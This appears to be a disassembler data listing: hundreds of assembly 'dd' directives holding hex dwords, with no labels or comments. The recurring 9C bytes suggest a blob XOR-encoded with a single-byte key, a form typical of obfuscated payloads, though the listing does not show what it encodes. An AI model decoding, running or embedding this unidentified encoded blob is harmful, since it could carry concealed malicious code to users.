dd 0BD929C7Ch, 0AB9E9D97h, 9C9C409Ch, 9C9CA09Ch, 9C8C1E9Ch
dd 9C9C8D0Ah, 9C9C8C9Ch, 9C9C6C9Ch, 8C9C9C9Ch, 9C9C8C9Ch
dd 9C9C9E9Ch, 9C9C9C9Dh, 9C9C9C9Ch, 9C9C9C98h, 9C9C9C9Ch
dd 9C8D7C9Ch, 9C9C989Ch, 9C9C9C9Ch, 9C9C9C9Eh, 9C8C9C9Ch
dd 9C9C8C9Ch, 9C8C9C9Ch, 9C9C8C9Ch, 9C9C9C9Ch, 9C9C9C8Ch
dd 9C8D4C9Ch, 9C9C9CD0h, 9C8D3C9Ch, 9C9C9D50h, 6 dup(9C9C9C9Ch)
dd 9C8D2C9Ch, 9C9C8774h, 14h dup(9C9C9C9Ch), 0E4F9E8B2h
dd 9C9C9CE8h, 9C9C46D0h, 9C9C8C9Ch, 9C9C46D0h, 9C9C989Ch
dd 3 dup(9C9C9C9Ch), 0FC9C9CBCh, 0EFEFFEB2h, 9C9C9C9Ch
dd 9C8C1DE4h, 9C9C6C9Ch, 5 dup(9C9C9C9Ch), 5C9C9C1Ch, 0E8FDF8B2h
dd 9C9C9CFDh, 9C9C8628h, 9C8D1C9Ch, 9C9C8628h, 9C9C7C9Ch
dd 3 dup(9C9C9C9Ch), 5C9C9CDCh, 0FDF8F5B2h, 9C9CFDE8h
dd 9C9C9D50h, 9C8D3C9Ch, 9C9C9D50h, 9C9C609Ch, 3 dup(9C9C9C9Ch)
dd 5C9C9CFCh, 0F0F9EEB2h, 9C9CFFF3h, 9C9C876Ch, 9C8D2C9Ch
dd 9C9C876Ch, 9C9D9C9Ch, 3 dup(9C9C9C9Ch), 9E9C9CBCh, 0FDF8F9B2h
dd 9C9CFDE8h, 9C9C9CD0h, 9C8D4C9Ch, 9C9C9CD0h, 9C9D809Ch
dd 3 dup(9C9C9C9Ch), 0DC9C9CBCh, 66h dup(9C9C9C9Ch), 9C9C9D24h
dd 5CAD5F9Ch, 0B8D017DCh, 98DD6B98h, 9C9C9C9Ah, 0D81793E8h
dd 0C81794B8h, 9E158CB8h, 9C9C9F24h, 0CACF5F9Ch, 0B8D817CBh
dd 62F6CC8Ch, 9C8C9AF4h, 0A963F88Ch, 9C9C9C9Ch, 9CB915F8h
dd 179C9C9Ch, 17BCB8D8h, 0EC1794C4h, 63621F90h, 0E8A7BCE8h
dd 86E8B8B8h, 17EAA811h, 0D0172F90h, 0D41794B8h, 2FE01F90h
dd 4BE99C98h, 942FC863h, 13F84D77h, 9C9C9C99h, 90581F9Ch
dd 5FC7C2C3h, 0CF7915C9h, 0F6C9CBCAh, 0F49CF69Ch, 8C9C8C04h
dd 7494E963h, 9C9C45D4h, 0C7C2C3C1h, 5FC17015h, 7915C960h
dd 0CF94701Fh, 17C9CBCAh, 0D91790C1h, 98DC6B94h, 9C9C9C9Ah
dd 9C2B1993h, 0D9159C9Ch, 8CD91764h, 1160D915h, 0DF1564D9h
dd 90EF1760h, 1F94E717h, 18936362h, 9C9C9C34h, 1FEA9011h
dd 9C9813E0h, 0C9CAE1E8h, 178CF711h, 9C1770D9h, 0A83F9C17h
dd 178C8D1Ch, 9E1770C9h, 8D1CA43Fh, 98DE178Ch, 8D1CA03Fh
dd 0CDCBCA8Ch, 9C9C8825h, 0DCA1119Ch, 178C8D1Ch, 8D1CA4A9h
dd 11396F8Ch, 8D1CDCA1h, 0A4A1158Ch, 0C58C8D1Ch, 0C863C2C3h
dd 0C2C19813h, 9590C117h, 0E4B4E85Ch, 94E717A8h, 63A674CFh
dd 581F6363h, 8CF71198h, 4F74CFCAh, 1F636362h, 90119458h
dd 139817EAh, 6390DF17h, 179413C8h, 901194E7h, 13A817EAh
dd 6363FE75h, 775CAD63h, 0F711C985h, 0CF63F68Ch, 63623974h
dd 90581F63h, 17497F6h, 1F9C9C44h, 0C3C19858h, 7015C7C2h
dd 15C95FC1h, 0CBCACF79h, 9D90E11Fh, 807499E9h, 749C9C9Ch
dd 9C9C4B23h, 638CE963h, 0E96390E9h, 1C9C3D94h, 4C638C8Dh
dd 55C7C2C3h, 0C99C905Eh, 701F7915h, 9CF6CB90h, 0B9746AF6h
dd 159C9C44h, 9CF664D9h, 857469F6h, 159C9C44h, 9CF660D9h
dd 917468F6h, 159C9C44h, 82F468D9h, 638C8D1Ch, 6D7464E9h
dd 3F9C9C4Bh, 8C8D1C94h, 8D1C80F4h, 60E9638Ch, 9C4B4374h
dd 1C983F9Ch, 80F48C8Dh, 638C8D1Ch, 517468E9h, 1F9C9C4Bh
dd 903FAC58h, 178C8D1Ch, 8D1C98A1h, 0E863958Ch, 0CB9CF697h
dd 9C4B6774h, 94581F9Ch, 1C90A117h, 63958C8Dh, 9CF68CE8h
dd 4B7A74CBh, 581F9C9Ch, 9C9A7494h, 55C39C9Ch, 0C0C0C5Fh
dd 1F7915C9h, 0CACF8870h, 68D95BCBh, 9C9C9C9Ch, 9C4BFF74h
dd 155F159Ch, 80776CC1h, 0E8A1A71Ch, 68D9639Fh, 5CAD4315h
dd 6E558565h, 11456B32h, 5B1562DDh, 0A78011DBh, 0E99CA71Ch
dd 68E11743h, 21A011DBh, 9C9C9C9Ch, 6370E115h, 0F17470E9h
dd 0C59C9C4Bh, 3F64D915h, 8C8D1C8Ch, 9C64E11Fh, 5CAD98E9h
dd 0C117C177h, 15D9776Ch, 655CAD43h, 326E5585h, 0DD11456Bh
dd 0DB5B1562h, 1C60E115h, 0BAE8A1A7h, 7460E963h, 9C9C4BA8h
dd 64E917C5h, 5C959A15h, 0B7779EE9h, 64E117CFh, 0DD74AB63h
dd 1F9C9C4Bh, 0D91F9458h, 0C9179864h, 8F801160h, 0E99CA71Ch
dd 64C9172Ah, 9C9C9E5Bh, 9D249C9Ch, 0C39C9C9Ch, 5F55C7C2h
dd 1F7915C9h, 0CACFD070h, 992393CBh, 8C8D1D54h, 90892393h
dd 9D8C8D1Eh, 9B741F4Ch, 7760D915h, 9CAC24B5h, 0F96B9C9Ch
dd 7CD91560h, 8D1ED43Dh, 8923938Ch, 8C8D1D8Ch, 741F4C9Dh
dd 7CC91799h, 0CC899815h, 638C95AAh, 0D03D60D9h, 1F8C8D1Dh
dd 2393C15Ch, 8D1DD889h, 0A54C9D8Ch, 5DEE60D9h, 90992393h
dd 9F8C8D1Eh, 8D1D9099h, 95741F8Ch, 188963CCh, 0F48C9DBCh
dd 8C8D1F9Ch, 8D0608F4h, 3D9BF68Ch, 8C8D1D84h, 0CC95741Fh
dd 8D0548F4h, 4889638Ch, 158C9DB9h, 1EEC3D5Fh, 741F8C8Dh
dd 935FA599h, 9C9D3419h, 68D9119Ch, 1F9C3DCCh, 17CC8C8Dh
dd 80CB63A4h, 2C3D5F15h, 9F8C8D1Dh, 8D1D4499h, 92741F8Ch
dd 91E95FA5h, 8D1ED03Dh, 99741F8Ch, 0E968D9A5h, 9D987599h
dd 23939C9Ch, 8D1DBC99h, 9F741F8Ch, 7564D915h, 9C9C9C7Ah
dd 1564D917h, 5BFA4CD9h, 9C9F54D9h, 0CC58D911h, 1F54E911h
dd 7B158C70h, 9C9C9825h, 17396F9Ch, 8D1F9CA1h, 0A317CB8Ch
dd 15BCCB63h, 1E843D5Fh, 23938C8Dh, 8D1E8889h, 1F4C9D8Ch
dd 44A59874h, 9C011993h, 0D9119C9Ch, 38F4CC5Ch, 178C8D06h
dd 17CC58D9h, 0A18863A4h, 9C9C9C9Ch, 23935F15h, 8D1C6C99h
dd 9F741F8Ch, 0F2E944A5h, 1E609911h, 0D9158C8Dh, 0AC17CC40h
dd 1198CA63h, 0F4CC20D9h, 8C8D0568h, 0CC40D917h, 8863A417h
dd 9C9C9CA1h, 3D5F159Ch, 8C8D1E9Ch, 1D6C999Fh, 741F8C8Dh
dd 0E944A590h, 24D911BFh, 568F4CCh, 0E9638C8Dh, 5CE96320h
dd 9C830774h, 8C581F9Ch, 1728D915h, 17CC20D9h, 94CA63ACh
dd 0CC40D917h, 0CA63AC17h, 5CD91794h, 63AC17CCh, 0D91794CAh
dd 0AC17CC58h, 6394CA63h, 0D91764D9h, 64D9A568h, 63921E93h
dd 99116363h, 8C8D1FBCh, 0CC6CD915h, 0CA63AC17h, 70D91198h
dd 578F4CCh, 0D9178C8Dh, 0AC17CC6Ch, 9CA98863h, 179C9C9Ch
dd 17CC6CD9h, 94CA63ACh, 0CC78D911h, 8D0578F4h, 70E9638Ch
dd 1F9CA963h, 81748C8Dh, 1F9C9C83h, 0D9158C58h, 60911774h
dd 1F8C8D1Ch, 54A59E75h, 9C3D8BE9h, 0CC8C8D1Fh, 0CA63AC17h
dd 99239394h, 8C8D1D80h, 8D1F9C3Fh, 0C7C2C38Ch, 15C95F55h
dd 1D9C3D79h, 99A58C8Dh, 8C8DECA0h, 0A0F497EAh, 638C8DECh
dd 9C6C8889h, 0ECA03D8Ch, 5EC18C8Dh, 15C99C98h, 0D4701F79h
dd 17CBCACFh, 239394C1h, 8D1DC099h, 9F741F8Ch, 3D20D915h
dd 8C8D1ECCh, 0A19F5B15h, 8C8D1D74h, 7795731Fh, 4D661592h
dd 9017FA7Eh, 0D015FAE7h, 3DDB5C89h, 8C8D1C4Ch, 9F895C1Fh
dd 8D1DC899h, 0EE5BA58Ch, 1C99117Ch, 158C8DC7h, 0D96324D9h
dd 24D91720h, 0A59C2B93h, 93EF20D9h, 5CD911CFh, 0D05D74CCh
dd 581F9C9Ch, 937F7794h, 1DB0A923h, 721F8C8Dh, 158D7799h
dd 177E4D6Eh, 17FA90D1h, 0FA5C89C8h, 0DAED8815h, 8D1D7C3Dh
dd 8B5C1F8Ch, 78892393h, 9D8C8D1Ch, 0EE5AA54Ch, 0C7C2C346h
dd 0CACF5F55h, 1E9CA917h
dd 0A99F8C8Dh, 8C8D1DF0h, 1DD08117h, 5F1D8C8Dh, 50B8DCEAh
dd 30892393h, 9D8C8D1Dh, 2980154Fh, 8C8DC700h, 1D0CA917h
dd 23938C8Dh, 8D1EE881h, 0B889178Ch, 118C8D1Dh, 74E98F00h
dd 80151A06h, 8DC72C29h, 20A9178Ch, 178C8D1Ch, 8D1C2881h
dd 0FF5F1D8Ch, 93A1A9E0h, 1EA88923h, 4F9D8C8Dh, 7C298015h
dd 178C8DC7h, 8D1D48A9h, 8123938Ch, 8C8D1D34h, 8117429Dh
dd 8C8D1DB4h, 7D465F1Dh, 801587EBh, 8DC72C29h, 0A923938Ch
dd 8C8D1E88h, 1DA48117h, 5F1D8C8Dh, 0CCCE8931h, 50298015h
dd 938C8DC7h, 1D80A923h, 81178C8Dh, 8C8D1D9Ch, 9282E811h
dd 1C588117h, 5F1D8C8Dh, 88649993h, 5C298015h, 178C8DC7h
dd 8D1C58A9h, 6081178Ch, 1D8C8D1Ch, 9AAB215Fh, 892393F2h
dd 8C8D1E90h, 80154F9Dh, 8DC74429h, 0A923938Ch, 8C8D1D20h
dd 80812393h, 118C8D1Dh, 939A82E8h, 1D548123h, 5F1D8C8Dh
dd 82D21BA1h, 5C298015h, 938C8DC7h, 1DB0A923h, 6F158C8Dh
dd 50465F1Dh, 80157F1Fh, 8DC74029h, 4A9178Ch, 9F8C8D1Ch
dd 8D1D64A9h, 7C81178Ch, 1D8C8D1Dh, 0D7F8D15Fh, 10819F4Eh
dd 158C8D1Dh, 0C7242980h, 0C43D8C8Dh, 158C8D1Eh, 28919F5Dh
dd 1F8C8D1Ch, 86779875h, 1C5CA917h, 23938C8Dh, 8D1D0881h
dd 1F429D8Ch, 0A8159472h, 8DC71C11h, 243DDD8Ch, 9F8C8D1Ch
dd 8D1D7C99h, 5DA5D48Ch, 91174AEEh, 8C8D1ECCh, 1DF0A917h
dd 5A1F8C8Dh, 78A99F9Fh, 158C8D1Dh, 0C7E411A8h, 91178C8Dh
dd 8C8D1D90h, 1DFC919Fh, 23938C8Dh, 8D1EA8A9h, 425A1D8Ch
dd 154BF641h, 0C70411A8h, 23938C8Dh, 8D1DBC91h, 9F52158Ch
dd 8D1DE8A9h, 481178Ch, 118C8D1Dh, 0E2BA8510h, 90152361h
dd 8DC72829h, 0CC91178Ch, 178C8D1Eh, 8D1DE4A9h, 3E5A1D8Ch
dd 9F7D6B72h, 8D1D9CA9h, 11A8158Ch, 8C8DC724h, 0C8912393h
dd 178C8D1Eh, 8D1D88A9h, 4F5A1D8Ch, 15B49219h, 0C75811A8h
dd 91178C8Dh, 8C8D1DA8h, 1DB4919Fh, 23938C8Dh, 8D1D20A9h
dd 0AE5A1D8Ch, 15AEA1DBh, 0C72411A8h, 23938C8Dh, 8D1C7091h
dd 0A923938Ch, 8C8D1C44h, 0CD6C5A1Dh, 0A815862Ch, 8DC77411h
dd 5FC7C28Ch, 9CDC9D24h, 9C8C5E1Ch, 8D1DB43Dh, 9A741F8Ch
dd 0FC8963CCh, 5F8C8DC6h, 55EF4CBh, 55748C8Dh, 0C59C9C9Fh
dd 48963CCh, 3F8C9DB9h, 8C8D1E14h, 50992393h, 938C8D1Ch
dd 1D588923h, 4C9D8C8Dh, 0A590741Fh, 8D1E1499h, 0F48BE98Ch
dd 8C8D0529h, 9C9F0B74h, 63CCC59Ch, 99AF8489h, 1E143F8Ch
dd 3AF48C8Dh, 748C8D05h, 9C9C9F1Ch, 0A963CCC5h, 8C8D1E14h
dd 0BD308963h, 0BC3F8C9Dh, 0C38C95AFh, 17CACF5Fh, 1790B8C0h
dd 938CB8E8h, 1DEC9923h, 5D158C8Dh, 93835D1Fh, 1EF49923h
dd 741F8C8Dh, 775DB59Eh, 8817FA82h, 88A7FAD7h, 0AD98EFD2h
dd 0FABB775Ch, 0FAD78817h, 0EAD288A7h, 0DC5CAD99h, 93D58477h
dd 1C509923h, 999F8C8Dh, 8C8D1C38h, 0A592741Fh, 0AD52E15Dh
dd 0C7C2DC5Ch, 7915C95Fh, 9DB8701Dh, 0CACF9C9Ch, 0F7CF4CBh
dd 0DCF69C98h, 0B5708963h, 0D9158C99h, 861CF460h, 0DCF69C9Ah
dd 0B5708963h, 5F158C99h, 1F94D917h, 63CC9E5Ch, 417460E9h
dd 179C9C53h, 5D1560D9h, 0DC63541Fh, 9C9DA01Ch, 0D91565E9h
dd 78A11764h, 1F8C8D1Dh, 0A7779973h, 0D99F6415h, 74191560h
dd 93636362h, 9158C2Ah, 6363627Ch, 19156415h, 63636278h
dd 19157B6Bh, 63636240h, 627C1917h, 9176363h, 63636240h
dd 9174C9Dh, 63636274h, 0A7DB9E14h, 5CEE64E1h, 8D1D183Dh
dd 86E4998Ch, 0CFCC9C9Ah, 6364E963h, 7460E9h, 1F9C9CEBh
dd 0C83D8C58h, 158C8D1Dh, 0CCA99F5Ah, 1F8C8D1Dh, 89779772h
dd 0B7AFA01Ch, 985A98E9h, 0A01CB4AFh, 98E9A1AFh, 0B5AF985Ah
dd 1F4515DAh, 1CDC6354h, 0E99C9DA0h, 0EE5AA565h, 1D843D47h
dd 741F8C8Dh, 94C91795h, 0CC9EA01Ch, 0ACF4AFE9h, 118C95D5h
dd 63627019h, 9174CC63h, 3D9C9C53h, 8C8D1C54h, 0CC9D5C1Fh
dd 701911CFh, 0CC636362h, 9CE74E74h, 90581F9Ch, 939C641Fh
dd 9C9D2A19h, 1C7C3D9Ch, 999F8C8Dh, 8C8D1C74h, 1794741Fh
dd 0A01C94C9h, 8DE9D89Eh, 95A9DCF4h, 7019118Ch, 0CC636362h
dd 9C525F74h, 1D883D9Ch, 999F8C8Dh, 8C8D1D2Ch, 1795741Fh
dd 0A01C94C9h, 8DE9D79Eh, 9DBC3CF4h, 7019118Ch, 0CC636362h
dd 9C520774h, 1D2C3D9Ch, 741F8C8Dh, 2393CC9Bh, 8D1D5899h
dd 9B741F8Ch, 9398F6CCh, 1C449923h, 23938C8Dh, 8D1D1489h
dd 9D5D158Ch, 1F56154Dh, 1FCE9276h, 0F4CC9574h, 0DC9C9C9Ch
dd 62701911h, 63CC6363h, 8DF08489h, 68D9158Ch, 0AC3D9EF6h
dd 1F8C8D1Eh, 93CC9974h, 1C6C9923h, 741F8C8Dh, 0E963CC9Fh
dd 0AC896368h, 0F48C8DECh, 8C8D0502h, 9C9DBF74h, 8917C59Ch
dd 8C8D1C04h, 0CE9E761Fh, 0CE6CC911h, 1D748917h, 23938C8Dh
dd 8D1DF491h, 1F569D8Ch, 0CCCE9B76h, 6368E963h, 8DEC8089h
dd 1D003D8Ch, 741F8C8Dh, 94C9179Bh, 0D79EA01Ch, 5F4ABE9h
dd 748C8D05h, 9C9C9C40h, 892393C5h, 8C8D1DC0h, 0CE9F761Fh
dd 0CE6CC911h, 1C008917h, 23938C8Dh, 8D1C7891h, 1F569D8Ch
dd 0CCCE9A76h, 6368E963h, 8DEC8089h, 1D7C3D8Ch, 741F8C8Dh
dd 94C91795h, 0CC9EA01Ch, 8F4B7E9h, 748C8D05h, 9C9C9C08h
dd 892393C5h, 8C8D1D8Ch, 0C911CED6h, 2393CE6Ch, 8D1EB889h
dd 0CCCED68Ch, 6368E963h, 8DEC8089h, 1F45158Ch, 1CDC6354h
dd 0E99C9DA0h, 935E1565h, 1DBC9123h, 23938C8Dh, 8D1DC099h
dd 1F5D9D8Ch, 11CD9A75h, 93CD6CD1h, 1EA09123h, 751F8C8Dh
dd 0CD4D9D9Eh, 68E963CFh, 0EC808963h, 0E9638C8Dh, 0D4896368h
dd 638C95D6h, 896360E9h, 8C9DB950h, 508963CFh, 0C38C9DB9h
dd 5F55C7C2h, 0CB7915C9h, 6394E963h, 8D1E18A9h, 3089638Ch
dd 158C9DBDh, 5FC1C35Bh, 0CD7915C9h, 17CBCACFh, 0A11F94E1h
dd 8C8D1EE4h, 0F489E99Ch, 8C8DEDFCh, 93508963h, 995B8C9Dh
dd 8C8D1EE4h, 9C9C9C9Dh, 1C58A917h, 0A99F8C8Dh, 8C8D1D6Ch
dd 9393721Fh, 2A93832Ah, 2B939DCBh, 947E5D4Eh, 2B934F95h
dd 0FA429D47h, 9360E915h, 1760D92Bh, 8D1D6489h, 98761F8Ch
dd 18934CA5h, 9C9C9C17h, 8DEDFCF4h, 0C089638Ch, 938C8DC6h
dd 1D149923h, 741F8C8Dh, 0D915FA9Eh, 93897762h, 9D62D92Bh
dd 8C229364h, 9ED32293h, 8C1456ADh, 62D963FAh, 62D92B93h
dd 60C92B93h, 43E04CA5h, 0BC992393h, 938C8D1Dh, 1E908923h
dd 4C9D8C8Dh, 939F741Fh, 1C088923h, 761F8C8Dh, 9B88149Fh
dd 80992393h, 938C8D1Dh, 1C788923h, 0D8118C8Dh, 89179D8Ch
dd 8C8D1C5Ch, 1C28899Fh, 761F8C8Dh, 9B881499h, 8DEDFCF4h
dd 0DC89638Ch, 118C95D6h, 0C2C39FDBh, 0C95F55C7h, 11CD7915h
dd 3DCC60D9h, 8C8D1EB0h, 3C892393h, 9D8C8D1Ch, 94741F4Ch
dd 992393CCh, 8C8D1D54h, 1D90999Fh, 741F8C8Dh, 0E963CC8Ch
dd 1EC03D94h, 999F8C8Dh, 8C8D1D84h, 0CC92741Fh, 8D1C683Dh
dd 24999F8Ch, 1F8C8D1Ch, 63CC9674h, 8DECBC89h, 8963CC8Ch
dd 8C95D6D4h, 15C95F55h, 0C8701D79h, 0CA9C9C9Eh, 701911CBh
dd 0CC636362h, 8D1D743Dh, 64999F8Ch, 1F8C8D1Dh, 3DCC9274h
dd 8C8D1DD0h, 0CC9A741Fh, 3DBCF6h, 9F8C8D1Ch, 8D1C5899h
dd 8C741F8Ch, 9C8963CCh, 118C99B6h, 63CC6CD9h, 95A9AC89h
dd 0D92B938Ch, 0A889176Eh, 1D8C8D1Dh, 9C342B5Eh, 7C899F9Ch
dd 938C8D1Ch, 2B935E33h
dd 911764C9h, 8C8D1E80h, 93A05D1Fh, 4C9D4D33h, 6CC92B93h
dd 1D189117h, 5D1D8C8Dh, 9C9B7469h, 1DA4919Fh, 33938C8Dh
dd 934C9D4Dh, 176AC92Bh, 8D1C3891h, 0A5D1D8Ch, 9F9C9C99h
dd 8D1DE891h, 4D33938Ch, 2B934C9Dh, 4C9D66C9h, 9C6CAC3Fh
dd 1D483D8Ch, 999F8C8Dh, 8C8D1C64h, 1590741Fh, 63615619h
dd 32291163h, 1D636361h, 9C9DDC70h, 257B159Ch, 9C9C9C03h
dd 1139FA6Fh, 63627021h, 2B74CB63h, 1D9C9C23h, 9C9DD858h
dd 55C2C39Ch, 7915C95Fh, 0CBCACFCDh, 1F94E117h, 8D1EE4A1h
dd 89E99C8Ch, 8DEDFCF4h, 5089638Ch, 5B8C9D93h, 8D1EE499h
dd 9C9C9D8Ch, 0B0A9179Ch, 1F8C8D1Eh, 2A93995Ah, 0CB2A9383h
dd 4E2B939Eh, 95947E5Dh, 472B934Fh, 0DC892393h, 938C8D1Eh
dd 1C449123h, 569D8C8Dh, 9394761Fh, 429D4633h, 60E915FAh
dd 60D92B93h, 1D608917h, 9FDE8C8Dh, 8D1DE089h, 934CA58Ch
dd 9C9C0C18h, 0EDFCF49Ch, 89638C8Dh, 8C8DC6C0h, 8D1E983Dh
dd 9F5C1F8Ch, 78892393h, 9D8C8D1Ch, 0D915FA4Ch, 93BE7762h
dd 9D62D92Bh, 8C229364h, 98D32293h, 8C1456ADh, 62D92B93h
dd 1DE48917h, 9DD68C8Dh, 0D915FA4Ch, 0D92B9362h, 0C92B9362h
dd 0E04CA560h, 1C003D4Eh, 23938C8Dh, 8D1DF489h, 1F4C9D8Ch
dd 89179774h, 8C8D1E9Ch, 149F761Fh, 603D9B88h, 938C8D1Ch
dd 1EF48923h, 899F8C8Dh, 8C8D1C74h, 1496761Fh, 0FCF49B88h
dd 638C8DEDh, 95D6DC89h, 9ADB118Ch, 55C7C2C3h, 7915C95Fh
dd 8DF088F4h, 6489638Ch, 3D8C99B5h, 8C8DF088h, 9C985EC1h
dd 51AF4CBh, 19748C8Dh, 0C5636360h, 48963CCh, 3F8C9DB9h
dd 8C8D1E1Ch, 8D1C683Dh, 9E741F8Ch, 1E1C99A5h, 8BE98C8Dh
dd 8D05E4F4h, 60C2748Ch, 0CCC56363h, 0AF848963h, 1C3F8C99h
dd 0C38C8D1Eh, 7915C95Fh, 9D80701Dh, 0CACF9C9Ch, 94D917CBh
dd 1598D417h, 0CC1760D1h, 6CC91590h, 1594DC17h, 0D91764D9h
dd 159C1794h, 211168D9h, 63636278h, 1FB8A911h, 8C258C8Dh
dd 6F9C9C9Ch, 38E11139h, 1FF8A911h, 8C258C8Dh, 6F9C9C9Ch
dd 0F8211139h, 11636363h, 8D1F38A9h, 9C8C258Ch, 396F9C9Ch
dd 63B82111h, 0A9116363h, 8C8D1F78h, 9C9C8C25h, 93396F9Ch
dd 1C708123h, 0BF758C8Dh, 159C9C9Dh, 9E7B5D43h, 78A12863h
dd 17636362h, 8D1D78A1h, 0A923938Ch, 8C8D1EA8h, 731F6B9Dh
dd 0E117CB9Eh, 3A86390h, 636CE963h, 0E96364E9h, 68E96360h
dd 9CA48674h, 80581F9Ch, 3D68D915h, 8C8D1DD0h, 1C34999Fh
dd 741F8C8Dh, 0E844A596h, 0DB4315A1h, 78212863h, 17636362h
dd 8D1D4CA1h, 955B1F8Ch, 0A12393CBh, 8C8D1D80h, 9D4215DBh
dd 90E11762h, 632BA863h, 0E96364E9h, 68E96360h, 746CE963h
dd 9C9CAB57h, 1580581Fh, 0A1176CD9h, 8C8D1DFCh, 629D6215h
dd 731F6B15h, 9D421594h, 29286362h, 63636278h, 1D60A117h
dd 5B1F8C8Dh, 0A117CB8Dh, 8C8D1D2Ch, 1599731Fh, 17629D42h
dd 0A86390E1h, 60E9632Bh, 6368E963h, 0E9636CE9h, 0ABE17464h
dd 0D9159C9Ch, 0B0A11764h, 9F8C8D1Eh, 8D1DA4A1h, 4215D38Ch
dd 2863629Dh, 63627829h, 0A1239363h, 8C8D1EA8h, 0CB8E5B1Fh
dd 5B1F4315h, 90E9179Fh, 6322A863h, 0E96368E9h, 0E963CC6Ch
dd 0ABA17460h, 581F9C9Ch, 60D915A4h, 8D1DC83Dh, 9F741F8Ch
dd 0D03D5F9Dh, 9F8C8D1Eh, 8D1DA099h, 9E741F8Ch, 1A935FA5h
dd 6363625Bh, 8D1C043Dh, 9F5F158Ch, 8D1C6081h, 9F771F8Ch
dd 0F4992393h, 9F8C8D1Eh, 8D1ED499h, 9B741F8Ch, 7570D915h
dd 9C9C9D16h, 6370E117h, 173821E8h, 8D1C00A1h, 9E731F8Ch
dd 90E117CBh, 6303A863h, 0E9636CE9h, 60E96364h, 7468E963h
dd 9C9CD6ABh, 1580581Fh, 483D68D9h, 938C8D1Ch, 1C708923h
dd 4C9D8C8Dh, 9D9E741Fh, 1DFC3D5Fh, 5C1F8C8Dh, 89239396h
dd 8C8D1EDCh, 5FA54C9Dh, 239390EEh, 8D1EFC99h, 9B5C1F8Ch
dd 0E1175FB5h, 0E863DB70h, 23933821h, 8D1EFCA1h, 0E117CB8Ch
dd 3A86390h, 6364E963h, 0E96360E9h, 6CE96368h, 9CD54A74h
dd 80581F9Ch, 936CD915h, 1D349923h, 5C1F8C8Dh, 3D5F9D99h
dd 8C8D1D24h, 0A5955C1Fh, 9388EE5Fh, 1DB09923h, 23938C8Dh
dd 8D1EB489h, 8CD8118Ch, 175FB599h, 5B1F70E1h, 21E8639Eh
dd 0C4A11738h, 1F8C8D1Eh, 17CB915Bh, 0A86390E1h, 60E96303h
dd 6368E963h, 0E9636CE9h, 0D5E57464h, 581F9C9Ch, 64D91580h
dd 8D1D0C3Dh, 5F9DD48Ch, 8D1E9C3Dh, 915C1F8Ch, 90EE5FA5h
dd 0BC992393h, 1F8C8D1Eh, 5FB5935Ch, 1770E117h, 8D1DD4A9h
dd 98721F8Ch, 0E8636B9Dh, 0A1173821h, 8C8D1EA4h, 9F955B1Fh
dd 8D1ECCA1h, 0E117CB8Ch, 3A86390h, 6368E963h, 0E9636CE9h
dd 60E96364h, 9CD58674h, 80581F9Ch, 3D60D915h, 8C8D1ECCh
dd 8892393h, 9D8C8D1Dh, 98741F4Ch, 943D5F9Dh, 1F8C8D1Eh
dd 2393925Ch, 8D1C7889h, 0A54C9D8Ch, 3D96EE5Fh, 8C8D1D00h
dd 0B5955C1Fh, 9923935Fh, 8C8D1DECh, 9D9F5C1Fh, 239370D9h
dd 8D1EF499h, 955C1F8Ch, 9370D9A5h, 6362FF1Ah, 1ED03D63h
dd 5F158C8Dh, 1E80819Fh, 0E43D8C8Dh, 9F8C8D1Dh, 8D1DAC99h
dd 9A741F8Ch, 7574D915h, 9C9C9D2Ah, 6374E117h, 63F82128h
dd 0A1176363h, 8C8D1DC4h, 939F5B1Fh, 1C78A923h, 6B9D8C8Dh
dd 90E117CBh, 6303A863h, 0E9636CE9h, 60E96364h, 7468E963h
dd 9C9CCCA4h, 1580581Fh, 239368D9h, 8D1EFC99h, 0D0999F8Ch
dd 1F8C8D1Eh, 5F9D9774h, 8D1EAC3Dh, 9A5C1F8Ch, 1DFC999Fh
dd 5FA58C8Dh, 0E03D96EEh, 1F8C8D1Dh, 5FB5975Ch, 1774E117h
dd 8D1D5CA9h, 6B9DDA8Ch, 0F8212863h, 17636363h, 8D1DA0A1h
dd 58A19F8Ch, 1F8C8D1Ch, 17CB9B73h, 0A86390E1h, 64E96303h
dd 6360E963h, 0E96368E9h, 0D356746Ch, 581F9C9Ch, 6CD91580h
dd 0FC992393h, 9F8C8D1Eh, 8D1D4899h, 93741F8Ch, 603D5F9Dh
dd 1F8C8D1Ch, 999F995Ch, 8C8D1DB8h, 90EE5FA5h, 0BC992393h
dd 1F8C8D1Dh, 5FB5915Ch, 1774E117h, 8D1C0CA9h, 6B9DDA8Ch
dd 0F8212863h, 17636363h, 8D1C48A1h, 995B1F8Ch, 1C28A19Fh
dd 17CB8C8Dh, 0A86390E1h, 60E96303h, 6368E963h, 0E9636CE9h
dd 0D3C67464h, 581F9C9Ch, 64D91580h, 20992393h, 9F8C8D1Dh
dd 8D1ECC99h, 98741F8Ch, 23935F9Dh, 8D1DBC99h, 915C1F8Ch
dd 92EE5FA5h, 8D1D003Dh, 999FDC8Ch, 8C8D1C24h, 0E1175FB5h
dd 9F5B1F74h, 0F8212863h, 17636363h, 8D1C64A1h, 925B1F8Ch
dd 1EACA19Fh, 17CB8C8Dh, 0A86390E1h, 68E96303h, 636CE963h
dd 0E96364E9h, 0D26E7460h, 581F9C9Ch, 60D91580h, 8D1D383Dh
dd 9F741F8Ch, 943D5F9Dh, 1F8C8D1Eh, 23939B5Ch, 8D1C3C89h
dd 0A54C9D8Ch, 9390EE5Fh, 1EB89923h, 5C1F8C8Dh, 3D5FB592h
dd 8C8D1D00h, 9D9F741Fh, 239374D9h, 8D1EDC99h, 975C1F8Ch
dd 9374D9A5h, 6362AB1Ah, 1D883D63h, 5F158C8Dh, 1EF0819Fh
dd 771F8C8Dh, 1DD03D96h, 741F8C8Dh, 78D9159Ah, 9C9D3B75h
dd 78E1179Ch, 0B8212863h, 93636363h, 1EE8A123h, 5B1F8C8Dh
dd 0E117CB99h, 3A86390h, 636CE963h, 0E96364E9h, 68E96360h
dd 9CD28274h, 80581F9Ch, 3D68D915h, 8C8D1DC8h, 1EAC999Fh
dd 741F8C8Dh, 935F9D99h, 1EB49923h, 89178C8Dh, 8C8D1DFCh
dd 998CD811h, 91EE5FA5h, 8D1DD43Dh, 7C999F8Ch, 0B58C8D1Dh
dd 78E1175Fh, 212863DBh, 636363B8h, 1C04A117h, 5B1F8C8Dh
dd 0A9239394h, 8C8D1D80h
dd 17CB6B9Dh, 0A86390E1h, 64E96303h, 6360E963h, 0E96368E9h
dd 0D12D746Ch, 581F9C9Ch, 6CD91580h, 8D1EA43Dh, 9E741F8Ch
